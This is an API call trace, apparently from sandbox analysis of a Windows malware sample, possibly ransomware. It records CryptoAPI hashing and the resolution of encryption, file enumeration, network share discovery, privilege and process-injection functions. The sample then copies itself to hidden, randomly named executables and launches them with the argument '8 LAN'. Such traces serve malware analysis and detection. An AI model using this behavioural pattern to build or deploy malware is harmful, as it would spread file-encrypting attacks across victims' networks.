	[0068.198] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptAcquireContextA") returned 0x7fefddc8180
	[0068.198] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptCreateHash") returned 0x7fefddcdad4
	[0068.198] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptHashData") returned 0x7fefddcdac0
	[0068.198] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptGetHashParam") returned 0x7fefddcdb20
	[0068.198] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptDestroyHash") returned 0x7fefddcdb00
	[0068.198] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptReleaseContext") returned 0x7fefddcdd10
	[0068.198] CryptAcquireContextA (in: phProv=0x1138e8, szContainer=0x0, szProvider="Microsoft Base Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1138e8*=0x25d8d0) returned 1
	[0068.200] CryptCreateHash (in: hProv=0x25d8d0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x1138f0 | out: phHash=0x1138f0) returned 1
	[0068.200] CryptHashData (hHash=0x25ea40, pbData=0x1139c0, dwDataLen=0x4, dwFlags=0x0) returned 1
	[0068.200] CryptGetHashParam (in: hHash=0x25ea40, dwParam=0x2, pbData=0x113910, pdwDataLen=0x1138e0, dwFlags=0x0 | out: pbData=0x113910, pdwDataLen=0x1138e0) returned 1
	[0068.200] CryptReleaseContext (hProv=0x25d8d0, dwFlags=0x0) returned 1
	[0068.200] CryptDestroyHash (hHash=0x25ea40) returned 0
	[0068.200] LoadLibraryA (lpLibFileName="Advapi32.dll") returned 0x7fefddc0000
	[0068.201] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptAcquireContextA") returned 0x7fefddc8180
	[0068.201] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptCreateHash") returned 0x7fefddcdad4
	[0068.201] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptHashData") returned 0x7fefddcdac0
	[0068.201] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptGetHashParam") returned 0x7fefddcdb20
	[0068.201] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptDestroyHash") returned 0x7fefddcdb00
	[0068.201] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptReleaseContext") returned 0x7fefddcdd10
	[0068.201] CryptAcquireContextA (in: phProv=0x1138e8, szContainer=0x0, szProvider="Microsoft Base Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1138e8*=0x25d8d0) returned 1
	[0068.203] CryptCreateHash (in: hProv=0x25d8d0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x1138f0 | out: phHash=0x1138f0) returned 1
	[0068.203] CryptHashData (hHash=0x25eab0, pbData=0x1139c0, dwDataLen=0x1, dwFlags=0x0) returned 1
	[0068.203] CryptGetHashParam (in: hHash=0x25eab0, dwParam=0x2, pbData=0x113910, pdwDataLen=0x1138e0, dwFlags=0x0 | out: pbData=0x113910, pdwDataLen=0x1138e0) returned 1
	[0068.203] CryptReleaseContext (hProv=0x25d8d0, dwFlags=0x0) returned 1
	[0068.203] CryptDestroyHash (hHash=0x25eab0) returned 0
	[0068.203] LoadLibraryA (lpLibFileName="Advapi32.dll") returned 0x7fefddc0000
	[0068.204] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptAcquireContextA") returned 0x7fefddc8180
	[0068.204] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptCreateHash") returned 0x7fefddcdad4
	[0068.204] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptHashData") returned 0x7fefddcdac0
	[0068.204] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptGetHashParam") returned 0x7fefddcdb20
	[0068.204] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptDestroyHash") returned 0x7fefddcdb00
	[0068.204] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptReleaseContext") returned 0x7fefddcdd10
	[0068.204] CryptAcquireContextA (in: phProv=0x1138e8, szContainer=0x0, szProvider="Microsoft Base Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1138e8*=0x25d8d0) returned 1
	[0068.252] CryptCreateHash (in: hProv=0x25d8d0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x1138f0 | out: phHash=0x1138f0) returned 1
	[0068.252] CryptHashData (hHash=0x25eb20, pbData=0x1139c0, dwDataLen=0x3, dwFlags=0x0) returned 1
	[0068.252] CryptGetHashParam (in: hHash=0x25eb20, dwParam=0x2, pbData=0x113910, pdwDataLen=0x1138e0, dwFlags=0x0 | out: pbData=0x113910, pdwDataLen=0x1138e0) returned 1
	[0068.252] CryptReleaseContext (hProv=0x25d8d0, dwFlags=0x0) returned 1
	[0068.252] CryptDestroyHash (hHash=0x25eb20) returned 0
	[0068.252] LoadLibraryA (lpLibFileName="Advapi32.dll") returned 0x7fefddc0000
	[0068.253] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptAcquireContextA") returned 0x7fefddc8180
	[0068.253] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptCreateHash") returned 0x7fefddcdad4
	[0068.253] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptHashData") returned 0x7fefddcdac0
	[0068.253] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptGetHashParam") returned 0x7fefddcdb20
	[0068.253] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptDestroyHash") returned 0x7fefddcdb00
	[0068.253] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptReleaseContext") returned 0x7fefddcdd10
	[0068.253] CryptAcquireContextA (in: phProv=0x1138e8, szContainer=0x0, szProvider="Microsoft Base Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1138e8*=0x25d8d0) returned 1
	[0068.255] CryptCreateHash (in: hProv=0x25d8d0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x1138f0 | out: phHash=0x1138f0) returned 1
	[0068.255] CryptHashData (hHash=0x25eb90, pbData=0x1139c0, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0068.255] CryptGetHashParam (in: hHash=0x25eb90, dwParam=0x2, pbData=0x113910, pdwDataLen=0x1138e0, dwFlags=0x0 | out: pbData=0x113910, pdwDataLen=0x1138e0) returned 1
	[0068.255] CryptReleaseContext (hProv=0x25d8d0, dwFlags=0x0) returned 1
	[0068.255] CryptDestroyHash (hHash=0x25eb90) returned 0
	[0068.257] LoadLibraryA (lpLibFileName="Kernel32.dll") returned 0x76f20000
	[0068.257] LoadLibraryA (lpLibFileName="mpr.dll") returned 0x7fefa660000
	[0068.414] LoadLibraryA (lpLibFileName="advapi32.dll") returned 0x7fefddc0000
	[0068.414] LoadLibraryA (lpLibFileName="ole32.dll") returned 0x7fefe130000
	[0072.336] LoadLibraryA (lpLibFileName="Shell32.dll") returned 0x7fefe6b0000
	[0075.695] LoadLibraryA (lpLibFileName="Iphlpapi.dll") returned 0x7fefaa30000
	[0076.086] GetProcAddress (hModule=0x76f20000, lpProcName="VirtualFree") returned 0x76f31260
	[0076.086] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptExportKey") returned 0x7fefddc8140
	[0076.086] GetProcAddress (hModule=0x76f20000, lpProcName="DeleteFileW") returned 0x76f2ad90
	[0076.087] GetProcAddress (hModule=0x76f20000, lpProcName="GetLastError") returned 0x76f42dd0
	[0076.087] GetProcAddress (hModule=0x76f20000, lpProcName="GetDriveTypeW") returned 0x76f3bdf0
	[0076.087] GetProcAddress (hModule=0x76f20000, lpProcName="GetCommandLineW") returned 0x76f3c480
	[0076.087] GetProcAddress (hModule=0x76f20000, lpProcName="GetStartupInfoW") returned 0x76f38070
	[0076.087] GetProcAddress (hModule=0x76f20000, lpProcName="FindNextFileW") returned 0x76f31910
	[0076.087] GetProcAddress (hModule=0x76f20000, lpProcName="VirtualAlloc") returned 0x76f367a0
	[0076.087] GetProcAddress (hModule=0x7fefddc0000, lpProcName="GetUserNameA") returned 0x7fefddcdc20
	[0076.088] GetProcAddress (hModule=0x76f20000, lpProcName="ExitProcess") returned 0x771640f0
	[0076.088] GetProcAddress (hModule=0x76f20000, lpProcName="Wow64RevertWow64FsRedirection") returned 0x76f6bb30
	[0076.088] GetProcAddress (hModule=0x76f20000, lpProcName="CreateProcessA") returned 0x76fb8840
	[0076.088] GetProcAddress (hModule=0x7fefaa30000, lpProcName="GetIpNetTable") returned 0x7fefaa3e558
	[0076.088] GetProcAddress (hModule=0x76f20000, lpProcName="GetVersionExW") returned 0x76f2d910
	[0076.088] GetProcAddress (hModule=0x76f20000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76f6bb40
	[0076.088] GetProcAddress (hModule=0x76f20000, lpProcName="GetSystemDefaultLangID") returned 0x76f294e0
	[0076.089] GetProcAddress (hModule=0x7fefddc0000, lpProcName="GetUserNameW") returned 0x7fefddd1fd0
	[0076.089] GetProcAddress (hModule=0x76f20000, lpProcName="ReadFile") returned 0x76f31500
	[0076.089] GetProcAddress (hModule=0x7fefddc0000, lpProcName="RegQueryValueExA") returned 0x7fefdddc480
	[0076.089] GetProcAddress (hModule=0x76f20000, lpProcName="CloseHandle") returned 0x76f42f80
	[0076.089] GetProcAddress (hModule=0x7fefddc0000, lpProcName="RegSetValueExW") returned 0x7fefddd1ed0
	[0076.089] GetProcAddress (hModule=0x7fefddc0000, lpProcName="RegCloseKey") returned 0x7fefdde0710
	[0076.089] GetProcAddress (hModule=0x76f20000, lpProcName="CopyFileA") returned 0x76fb5620
	[0076.090] GetProcAddress (hModule=0x76f20000, lpProcName="SetFileAttributesW") returned 0x76f337a0
	[0076.090] GetProcAddress (hModule=0x76f20000, lpProcName="WinExec") returned 0x76fb8d80
	[0076.090] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptDeriveKey") returned 0x7fefddfb6b0
	[0076.090] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptGenKey") returned 0x7fefddc19bc
	[0076.090] GetProcAddress (hModule=0x76f20000, lpProcName="Sleep") returned 0x76f42b70
	[0076.090] GetProcAddress (hModule=0x76f20000, lpProcName="GetCurrentProcess") returned 0x76f35cf0
	[0076.090] GetProcAddress (hModule=0x7fefe6b0000, lpProcName="ShellExecuteW") returned 0x7fefe6c983c
	[0076.091] GetProcAddress (hModule=0x76f20000, lpProcName="GetFileSize") returned 0x76f2f9d0
	[0076.091] GetProcAddress (hModule=0x76f20000, lpProcName="GlobalAlloc") returned 0x76f280c0
	[0076.091] GetProcAddress (hModule=0x76f20000, lpProcName="FindClose") returned 0x76f3bd60
	[0076.092] GetProcAddress (hModule=0x76f20000, lpProcName="WaitForMultipleObjects") returned 0x76f31170
	[0076.092] GetProcAddress (hModule=0x76f20000, lpProcName="GetModuleFileNameA") returned 0x76f364a0
	[0076.092] GetProcAddress (hModule=0x7fefe6b0000, lpProcName="ShellExecuteA") returned 0x7fefe90ec80
	[0076.092] GetProcAddress (hModule=0x76f20000, lpProcName="GetModuleHandleA") returned 0x76f365e0
	[0076.092] GetProcAddress (hModule=0x76f20000, lpProcName="GetModuleFileNameW") returned 0x76f37700
	[0076.092] GetProcAddress (hModule=0x76f20000, lpProcName="CreateFileA") returned 0x76f431f0
	[0076.092] GetProcAddress (hModule=0x76f20000, lpProcName="GetFileSizeEx") returned 0x76f29b30
	[0076.093] GetProcAddress (hModule=0x76f20000, lpProcName="WriteFile") returned 0x76f435a0
	[0076.093] GetProcAddress (hModule=0x76f20000, lpProcName="GetLogicalDrives") returned 0x76f2b930
	[0076.093] GetProcAddress (hModule=0x7fefa660000, lpProcName="WNetEnumResourceA") returned 0x7fefa66bcfc
	[0076.093] GetProcAddress (hModule=0x7fefddc0000, lpProcName="RegOpenKeyExW") returned 0x7fefdde06f0
	[0076.093] GetProcAddress (hModule=0x7fefa660000, lpProcName="WNetCloseEnum") returned 0x7fefa6642dc
	[0076.093] GetProcAddress (hModule=0x76f20000, lpProcName="GetWindowsDirectoryW") returned 0x76f282b0
	[0076.093] GetProcAddress (hModule=0x76f20000, lpProcName="SetFileAttributesA") returned 0x76f22d50
	[0076.094] GetProcAddress (hModule=0x7fefddc0000, lpProcName="RegOpenKeyExA") returned 0x7fefdddb5f0
	[0076.094] GetProcAddress (hModule=0x76f20000, lpProcName="SetFilePointer") returned 0x76f31150
	[0076.094] GetProcAddress (hModule=0x76f20000, lpProcName="GetTickCount") returned 0x76f42b00
	[0076.094] GetProcAddress (hModule=0x76f20000, lpProcName="GetFileAttributesW") returned 0x76f3bdd0
	[0076.094] GetProcAddress (hModule=0x76f20000, lpProcName="FindFirstFileW") returned 0x76f3bd80
	[0076.094] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptAcquireContextW") returned 0x7fefddcd98c
	[0076.094] GetProcAddress (hModule=0x76f20000, lpProcName="MoveFileExW") returned 0x76f23060
	[0076.094] GetProcAddress (hModule=0x7fefa660000, lpProcName="WNetOpenEnumA") returned 0x7fefa66bc68
	[0076.095] GetProcAddress (hModule=0x7fefe130000, lpProcName="CoInitialize") returned 0x7fefe14a51c
	[0076.095] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptDecrypt") returned 0x7fefddfb6d0
	[0076.097] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptImportKey") returned 0x7fefddcaf6c
	[0076.098] GetProcAddress (hModule=0x76f20000, lpProcName="SetFilePointerEx") returned 0x76f2af00
	[0076.099] GetProcAddress (hModule=0x76f20000, lpProcName="CopyFileW") returned 0x76f292d0
	[0076.099] GetProcAddress (hModule=0x76f20000, lpProcName="FreeLibrary") returned 0x76f36620
	[0076.099] GetProcAddress (hModule=0x76f20000, lpProcName="CreateProcessW") returned 0x76f41bb0
	[0076.099] GetProcAddress (hModule=0x76f20000, lpProcName="CreateDirectoryW") returned 0x76f2ad70
	[0076.099] GetProcAddress (hModule=0x76f20000, lpProcName="CreateThread") returned 0x76f36580
	[0076.099] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptDestroyKey") returned 0x7fefddcafa0
	[0076.099] GetProcAddress (hModule=0x7fefe130000, lpProcName="CoCreateInstance") returned 0x7fefe157490
	[0076.099] GetProcAddress (hModule=0x76f20000, lpProcName="CreateFileW") returned 0x76f31870
	[0076.100] GetProcAddress (hModule=0x76f20000, lpProcName="GetFileAttributesA") returned 0x76f313e0
	[0076.100] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptEncrypt") returned 0x7fefddfb650
	[0076.100] GetProcAddress (hModule=0x7fefddc0000, lpProcName="RegDeleteValueW") returned 0x7fefddcbbb0
	[0076.100] GetProcAddress (hModule=0x7fefddc0000, lpProcName="EnumServicesStatusW") returned 0x7fefde0d5f0
	[0076.100] GetProcAddress (hModule=0x7fefddc0000, lpProcName="GetTokenInformation") returned 0x7fefdddbd50
	[0076.100] GetProcAddress (hModule=0x7fefddc0000, lpProcName="ImpersonateSelf") returned 0x7fefddcc180
	[0076.100] GetProcAddress (hModule=0x7fefddc0000, lpProcName="LookupPrivilegeValueW") returned 0x7fefdddb9e0
	[0076.100] GetProcAddress (hModule=0x7fefddc0000, lpProcName="OpenProcessToken") returned 0x7fefdddbd70
	[0076.101] GetProcAddress (hModule=0x7fefddc0000, lpProcName="OpenSCManagerW") returned 0x7fefddcc2a8
	[0076.101] GetProcAddress (hModule=0x7fefddc0000, lpProcName="OpenThreadToken") returned 0x7fefdddbd84
	[0076.101] GetProcAddress (hModule=0x7fefddc0000, lpProcName="AdjustTokenPrivileges") returned 0x7fefdddb9b0
	[0076.101] GetProcAddress (hModule=0x76f20000, lpProcName="VirtualAllocEx") returned 0x76f6bbd0
	[0076.101] GetProcAddress (hModule=0x7fefddc0000, lpProcName="LookupAccountSidW") returned 0x7fefdddb898
	[0076.101] GetProcAddress (hModule=0x7fefe6b0000, lpProcName="CommandLineToArgvW") returned 0x7fefe6d157c
	[0076.101] GetProcAddress (hModule=0x76f20000, lpProcName="WriteProcessMemory") returned 0x76f6bad0
	[0076.101] GetProcAddress (hModule=0x76f20000, lpProcName="VirtualFreeEx") returned 0x76f6bb90
	[0076.102] GetProcAddress (hModule=0x76f20000, lpProcName="CreateRemoteThread") returned 0x76f6c4f0
	[0076.102] GetProcAddress (hModule=0x7fefaa30000, lpProcName="GetAdaptersAddresses") returned 0x7fefaa32ab4
	[0076.102] GetProcAddress (hModule=0x7fefaa30000, lpProcName="IcmpCloseHandle") returned 0x7fefaa37cc0
	[0076.102] GetProcAddress (hModule=0x7fefaa30000, lpProcName="IcmpCreateFile") returned 0x7fefaa38250
	[0076.102] GetProcAddress (hModule=0x7fefaa30000, lpProcName="IcmpSendEcho") returned 0x7fefaa38340
	[0076.102] SetLastError (dwErrCode=0x0) 
	[0076.102] GetCommandLineW () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\CusersPublicDHrQU.exe\" "
	[0076.103] CommandLineToArgvW (in: lpCmdLine="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\CusersPublicDHrQU.exe\" ", pNumArgs=0x114530 | out: pNumArgs=0x114530) returned 0x267610*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\CusersPublicDHrQU.exe"
	[0076.103] GetLastError () returned 0x0
	[0076.103] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x1150e0, nSize=0x3e8 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\CusersPublicDHrQU.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cuserspublicdhrqu.exe")) returned 0x3b
	[0076.103] GetTickCount () returned 0x115c459
	[0076.104] GetLastError () returned 0x0
	[0076.104] SetLastError (dwErrCode=0x0) 
	[0076.104] GetLastError () returned 0x0
	[0076.104] SetLastError (dwErrCode=0x0) 
	[0076.104] GetLastError () returned 0x0
	[0076.104] SetLastError (dwErrCode=0x0) 
	[0076.104] GetLastError () returned 0x0
	[0076.104] SetLastError (dwErrCode=0x0) 
	[0076.104] GetLastError () returned 0x0
	[0076.105] SetLastError (dwErrCode=0x0) 
	[0076.105] GetLastError () returned 0x0
	[0076.105] SetLastError (dwErrCode=0x0) 
	[0076.105] GetLastError () returned 0x0
	[0076.105] SetLastError (dwErrCode=0x0) 
	[0076.105] GetLastError () returned 0x0
	[0076.105] SetLastError (dwErrCode=0x0) 
	[0076.105] GetLastError () returned 0x0
	[0076.105] SetLastError (dwErrCode=0x0) 
	[0076.105] GetLastError () returned 0x0
	[0076.106] SetLastError (dwErrCode=0x0) 
	[0076.106] GetLastError () returned 0x0
	[0076.106] SetLastError (dwErrCode=0x0) 
	[0076.106] GetLastError () returned 0x0
	[0076.106] SetLastError (dwErrCode=0x0) 
	[0076.106] GetLastError () returned 0x0
	[0076.106] SetLastError (dwErrCode=0x0) 
	[0076.106] GetLastError () returned 0x0
	[0076.107] SetLastError (dwErrCode=0x0) 
	[0076.107] GetLastError () returned 0x0
	[0076.107] SetLastError (dwErrCode=0x0) 
	[0076.107] GetLastError () returned 0x0
	[0076.107] SetLastError (dwErrCode=0x0) 
	[0076.107] GetLastError () returned 0x0
	[0076.107] SetLastError (dwErrCode=0x0) 
	[0076.107] GetLastError () returned 0x0
	[0076.108] SetLastError (dwErrCode=0x0) 
	[0076.108] GetLastError () returned 0x0
	[0076.108] SetLastError (dwErrCode=0x0) 
	[0076.108] GetLastError () returned 0x0
	[0076.108] SetLastError (dwErrCode=0x0) 
	[0076.108] GetLastError () returned 0x0
	[0076.108] SetLastError (dwErrCode=0x0) 
	[0076.108] GetLastError () returned 0x0
	[0076.108] SetLastError (dwErrCode=0x0) 
	[0076.108] GetLastError () returned 0x0
	[0076.109] SetLastError (dwErrCode=0x0) 
	[0076.109] GetLastError () returned 0x0
	[0076.109] SetLastError (dwErrCode=0x0) 
	[0076.109] GetLastError () returned 0x0
	[0076.109] SetLastError (dwErrCode=0x0) 
	[0076.109] GetLastError () returned 0x0
	[0076.109] SetLastError (dwErrCode=0x0) 
	[0076.109] GetLastError () returned 0x0
	[0076.110] SetLastError (dwErrCode=0x0) 
	[0076.110] GetLastError () returned 0x0
	[0076.110] SetLastError (dwErrCode=0x0) 
	[0076.110] GetLastError () returned 0x0
	[0076.110] SetLastError (dwErrCode=0x0) 
	[0076.110] GetLastError () returned 0x0
	[0076.110] SetLastError (dwErrCode=0x0) 
	[0076.110] GetLastError () returned 0x0
	[0076.110] SetLastError (dwErrCode=0x0) 
	[0076.110] GetLastError () returned 0x0
	[0076.111] SetLastError (dwErrCode=0x0) 
	[0076.111] GetLastError () returned 0x0
	[0076.111] SetLastError (dwErrCode=0x0) 
	[0076.111] GetLastError () returned 0x0
	[0076.111] SetLastError (dwErrCode=0x0) 
	[0076.111] GetLastError () returned 0x0
	[0076.111] SetLastError (dwErrCode=0x0) 
	[0076.111] GetLastError () returned 0x0
	[0076.112] SetLastError (dwErrCode=0x0) 
	[0076.112] GetLastError () returned 0x0
	[0076.112] SetLastError (dwErrCode=0x0) 
	[0076.113] GetLastError () returned 0x0
	[0076.113] SetLastError (dwErrCode=0x0) 
	[0076.113] GetLastError () returned 0x0
	[0076.113] SetLastError (dwErrCode=0x0) 
	[0076.113] GetLastError () returned 0x0
	[0076.113] SetLastError (dwErrCode=0x0) 
	[0076.114] GetLastError () returned 0x0
	[0076.114] SetLastError (dwErrCode=0x0) 
	[0076.114] GetLastError () returned 0x0
	[0076.114] SetLastError (dwErrCode=0x0) 
	[0076.114] GetLastError () returned 0x0
	[0076.114] SetLastError (dwErrCode=0x0) 
	[0076.114] GetLastError () returned 0x0
	[0076.114] SetLastError (dwErrCode=0x0) 
	[0076.114] GetLastError () returned 0x0
	[0076.114] SetLastError (dwErrCode=0x0) 
	[0076.115] GetLastError () returned 0x0
	[0076.115] SetLastError (dwErrCode=0x0) 
	[0076.115] GetLastError () returned 0x0
	[0076.115] SetLastError (dwErrCode=0x0) 
	[0076.115] GetLastError () returned 0x0
	[0076.115] SetLastError (dwErrCode=0x0) 
	[0076.115] GetLastError () returned 0x0
	[0076.115] SetLastError (dwErrCode=0x0) 
	[0076.115] GetLastError () returned 0x0
	[0076.115] SetLastError (dwErrCode=0x0) 
	[0076.115] CopyFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\CusersPublicDHrQU.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cuserspublicdhrqu.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\SHyuNkHTvlan.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\shyunkhtvlan.exe"), bFailIfExists=0) returned 1
	[0076.280] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\SHyuNkHTvlan.exe", dwFileAttributes=0x2) returned 1
	[0076.282] ShellExecuteW (hwnd=0x0, lpOperation=0x0, lpFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\SHyuNkHTvlan.exe", lpParameters="8 LAN", lpDirectory=0x0, nShowCmd=0) returned 0x2a
	[0086.965] Sleep (dwMilliseconds=0x1388) 
	[0092.006] GetTickCount () returned 0x115eacc
	[0092.006] GetLastError () returned 0x0
	[0092.007] SetLastError (dwErrCode=0x0) 
	[0092.007] GetLastError () returned 0x0
	[0092.007] SetLastError (dwErrCode=0x0) 
	[0092.007] GetLastError () returned 0x0
	[0092.007] SetLastError (dwErrCode=0x0) 
	[0092.007] GetLastError () returned 0x0
	[0092.007] SetLastError (dwErrCode=0x0) 
	[0092.007] GetLastError () returned 0x0
	[0092.007] SetLastError (dwErrCode=0x0) 
	[0092.008] GetLastError () returned 0x0
	[0092.008] SetLastError (dwErrCode=0x0) 
	[0092.008] GetLastError () returned 0x0
	[0092.008] SetLastError (dwErrCode=0x0) 
	[0092.008] GetLastError () returned 0x0
	[0092.008] SetLastError (dwErrCode=0x0) 
	[0092.008] GetLastError () returned 0x0
	[0092.009] SetLastError (dwErrCode=0x0) 
	[0092.009] GetLastError () returned 0x0
	[0092.009] SetLastError (dwErrCode=0x0) 
	[0092.009] GetLastError () returned 0x0
	[0092.009] SetLastError (dwErrCode=0x0) 
	[0092.009] GetLastError () returned 0x0
	[0092.009] SetLastError (dwErrCode=0x0) 
	[0092.009] GetLastError () returned 0x0
	[0092.010] SetLastError (dwErrCode=0x0) 
	[0092.010] GetLastError () returned 0x0
	[0092.010] SetLastError (dwErrCode=0x0) 
	[0092.010] GetLastError () returned 0x0
	[0092.010] SetLastError (dwErrCode=0x0) 
	[0092.010] GetLastError () returned 0x0
	[0092.010] SetLastError (dwErrCode=0x0) 
	[0092.010] GetLastError () returned 0x0
	[0092.010] SetLastError (dwErrCode=0x0) 
	[0092.011] GetLastError () returned 0x0
	[0092.011] SetLastError (dwErrCode=0x0) 
	[0092.011] GetLastError () returned 0x0
	[0092.011] SetLastError (dwErrCode=0x0) 
	[0092.011] GetLastError () returned 0x0
	[0092.011] SetLastError (dwErrCode=0x0) 
	[0092.011] GetLastError () returned 0x0
	[0092.011] SetLastError (dwErrCode=0x0) 
	[0092.011] GetLastError () returned 0x0
	[0092.012] SetLastError (dwErrCode=0x0) 
	[0092.012] GetLastError () returned 0x0
	[0092.012] SetLastError (dwErrCode=0x0) 
	[0092.012] GetLastError () returned 0x0
	[0092.012] SetLastError (dwErrCode=0x0) 
	[0092.012] GetLastError () returned 0x0
	[0092.012] SetLastError (dwErrCode=0x0) 
	[0092.012] GetLastError () returned 0x0
	[0092.013] SetLastError (dwErrCode=0x0) 
	[0092.013] GetLastError () returned 0x0
	[0092.013] SetLastError (dwErrCode=0x0) 
	[0092.013] GetLastError () returned 0x0
	[0092.013] SetLastError (dwErrCode=0x0) 
	[0092.013] GetLastError () returned 0x0
	[0092.013] SetLastError (dwErrCode=0x0) 
	[0092.013] GetLastError () returned 0x0
	[0092.013] SetLastError (dwErrCode=0x0) 
	[0092.014] GetLastError () returned 0x0
	[0092.014] SetLastError (dwErrCode=0x0) 
	[0092.014] GetLastError () returned 0x0
	[0092.014] SetLastError (dwErrCode=0x0) 
	[0092.014] GetLastError () returned 0x0
	[0092.014] SetLastError (dwErrCode=0x0) 
	[0092.014] GetLastError () returned 0x0
	[0092.014] SetLastError (dwErrCode=0x0) 
	[0092.015] GetLastError () returned 0x0
	[0092.015] SetLastError (dwErrCode=0x0) 
	[0092.015] GetLastError () returned 0x0
	[0092.015] SetLastError (dwErrCode=0x0) 
	[0092.015] GetLastError () returned 0x0
	[0092.015] SetLastError (dwErrCode=0x0) 
	[0092.015] GetLastError () returned 0x0
	[0092.015] SetLastError (dwErrCode=0x0) 
	[0092.015] GetLastError () returned 0x0
	[0092.016] SetLastError (dwErrCode=0x0) 
	[0092.016] GetLastError () returned 0x0
	[0092.016] SetLastError (dwErrCode=0x0) 
	[0092.016] GetLastError () returned 0x0
	[0092.016] SetLastError (dwErrCode=0x0) 
	[0092.016] GetLastError () returned 0x0
	[0092.016] SetLastError (dwErrCode=0x0) 
	[0092.016] GetLastError () returned 0x0
	[0092.017] SetLastError (dwErrCode=0x0) 
	[0092.017] GetLastError () returned 0x0
	[0092.017] SetLastError (dwErrCode=0x0) 
	[0092.017] GetLastError () returned 0x0
	[0092.017] SetLastError (dwErrCode=0x0) 
	[0092.017] GetLastError () returned 0x0
	[0092.017] SetLastError (dwErrCode=0x0) 
	[0092.017] GetLastError () returned 0x0
	[0092.017] SetLastError (dwErrCode=0x0) 
	[0092.018] GetLastError () returned 0x0
	[0092.018] SetLastError (dwErrCode=0x0) 
	[0092.018] GetLastError () returned 0x0
	[0092.018] SetLastError (dwErrCode=0x0) 
	[0092.018] GetLastError () returned 0x0
	[0092.018] SetLastError (dwErrCode=0x0) 
	[0092.018] GetLastError () returned 0x0
	[0092.018] SetLastError (dwErrCode=0x0) 
	[0092.019] GetLastError () returned 0x0
	[0092.019] SetLastError (dwErrCode=0x0) 
	[0092.019] GetLastError () returned 0x0
	[0092.019] SetLastError (dwErrCode=0x0) 
	[0092.019] GetLastError () returned 0x0
	[0092.019] SetLastError (dwErrCode=0x0) 
	[0092.019] GetLastError () returned 0x0
	[0092.019] SetLastError (dwErrCode=0x0) 
	[0092.019] GetLastError () returned 0x0
	[0092.020] SetLastError (dwErrCode=0x0) 
	[0092.020] GetLastError () returned 0x0
	[0092.020] SetLastError (dwErrCode=0x0) 
	[0092.020] CopyFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\CusersPublicDHrQU.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cuserspublicdhrqu.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\SawWHUYCUlan.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\sawwhuyculan.exe"), bFailIfExists=0) returned 1
	[0092.231] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\SawWHUYCUlan.exe", dwFileAttributes=0x2) returned 1
	[0092.232] ShellExecuteW (hwnd=0x0, lpOperation=0x0, lpFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\SawWHUYCUlan.exe", lpParameters="8 LAN", lpDirectory=0x0, nShowCmd=0) returned 0x2a
	[0094.556] Sleep (dwMilliseconds=0x1388) 
	[0099.684] LocalFree (hMem=0x267610) returned 0x0
